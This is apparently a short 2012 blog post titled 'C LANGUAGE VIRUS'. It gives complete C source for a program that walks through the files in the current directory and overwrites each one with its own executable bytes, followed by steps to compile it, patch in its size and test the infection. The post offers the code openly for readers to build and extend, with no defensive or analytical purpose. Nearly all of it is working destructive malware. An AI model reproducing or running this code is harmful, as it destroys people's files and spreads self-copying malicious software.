Friday 15 June 2012

C  LANGUAGE VIRUS

  Open the Notepad and copy the below code into it:



#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

    Save as > virus.c
    Now compile this code with your C compiler. You can take a look here
    Note down the generated exe file length in bytes
    Replace the value of X at line 23 in source code to this length in bytes
    Recompile the code. The new exe file is ready to infect

PERFORM A TEST:

    Open new empty folder
    Put some exe files (you can also put the setup files)
    When you execute the virus.exe file then all the files present there will be infected
    All the infected files will be ready to reinfect

Debug this code for some more new ideas like I did. :P

No comments:

Post a Comment